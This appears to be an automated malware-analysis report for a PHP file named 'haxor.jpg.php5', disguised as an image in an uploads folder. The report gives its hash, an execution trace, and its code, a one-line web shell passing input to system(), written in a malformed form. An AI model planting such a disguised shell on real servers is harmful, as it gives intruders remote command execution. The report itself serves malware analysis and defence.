PHP Malware Analysis

haxor.jpg.php5

md5: 330470457026d859950e746169367e4f

Jump to:

Screenshot


Attributes

Execution


Deobfuscated PHP code

<?php

echo system([cmd]);

Execution traces

data/traces/330470457026d859950e746169367e4f_trace-1676239538.5771.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:06:04.474945]
1	0	1	0.000138	393528
1	3	0	0.000182	393464	{main}	1		/var/www/html/uploads/haxor.jpg.php5	0	0
2	4	0	0.000214	393840	system	0		/var/www/html/uploads/haxor.jpg.php5	1	1	[0 => 'cmd']
2	4	1	0.000236	393872
2	4	R			FALSE
1	3	1	0.000251	393464
			0.000273	314240
TRACE END   [2023-02-12 20:06:04.475107]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php echo system([cmd]); ?>